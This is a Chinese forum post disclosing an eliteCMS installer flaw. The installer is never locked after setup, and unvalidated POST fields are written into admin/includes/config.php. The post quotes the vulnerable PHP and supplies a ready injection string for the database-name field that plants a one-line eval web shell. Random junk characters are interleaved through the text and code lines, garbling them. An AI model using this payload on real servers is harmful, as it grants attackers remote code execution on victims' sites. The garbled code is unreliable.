找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2203|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装+ y% u$ [" C+ M; h$ A2 r4 C

0 n9 y8 g. q- N# ?3 v另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php  y' U! X/ ^, z" B  ^, F
我们来看代码:
& R8 `3 b* A+ [, u: B ( O2 r, W, `3 j7 B; \( ~/ W
...
8 m1 }( ^+ Q# _+ pelseif ($_GET['step'] == "4") {0 H" p0 g  x# R" r) ~/ W: R
    $file = "../admin/includes/config.php";! |7 P& l9 x- o2 F0 A
    $write = "<?php\n";) \; Z+ ~$ G* I* L- ?
    $write .= "/**\n";' `$ l2 h% ]  X9 ]
    $write .= "*\n";
( A" I' u* H2 {) o; z) f( p    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
% {! G. O5 v( S  _  {$ s...略...
8 W' `4 n0 I  o5 I3 {    $write .= "*\n";
* T' V* x: F6 K    $write .= "*/\n";2 S8 w+ X$ ~( g0 L* ~
    $write .= "\n";
% Q& i$ R6 N/ @    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";7 j2 a4 y) g5 w: a7 B5 k
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
( F& G4 q, w# O/ u5 ?4 V    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";! M0 _) ?( T8 y* s. t
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
6 l, D: d9 d& x5 i    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";5 b2 G# A$ F" w, r2 h% q& h
    $write .= "if (!\$connection) {\n";
& y" x9 D0 k8 k% P+ d    $write .= "        die(\"Database connection failed\" .mysql_error());\n";% W: a+ X/ W% l
    $write .= "        \n";. s' W6 C6 X! {1 M* m2 _& R
    $write .= "} \n";* N3 q( w6 R- b, V7 T" I
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
! z) A" Y+ B$ j  L* M    $write .= "if (!\$db_select) {\n";0 `7 ~$ c2 I+ O+ s, \
    $write .= "        die(\"Database select failed\" .mysql_error());\n";; B3 e1 W+ ?# `5 d  Q
    $write .= "        \n";! X: u" m% N) r, k- D7 e0 \
    $write .= "} \n";
5 X4 r  }  y5 j1 Y    $write .= "?>\n";* u' b* t+ p% N9 R+ T! o
$ k' m4 r  P: m$ K4 g/ h( q! N$ G0 z
    $writer = fopen($file, 'w');) b7 o' h. R* p) H, {6 \# `7 R
...
. F( L+ b$ B7 {+ O4 Q6 s. }: h& R   D' U+ e9 c8 U9 G( M) y( W: q
在看代码:) g# H* }4 ?& U; [! K+ ~6 E

+ y) r1 ~9 [  M1 e1 N0 P$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! g3 z6 a/ G/ s$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
* ^$ o& s! A  Q6 Y$_SESSION['DB_USER'] = $_POST['DB_USER'];9 H' W& o8 q% w9 W* \8 _
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 {7 b" X4 T' b, M
' M! O. I0 H; J9 z1 i3 v取值未作任何验证
  I7 E  s& `/ d3 f% R如果将数据库名POST数据:9 n1 }% ~) y! R( q% h- j
) ^( M2 V% a0 B- J: x* b
"?><?php eval($_POST[c]);?><?php/ G% k' r/ x" V- f, j' ~; _
: q# c8 P( b) S2 Z
将导致一句话后门写入/admin/includes/config.php/ u: @' }3 d0 [, a0 y" g& T! o; G" b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表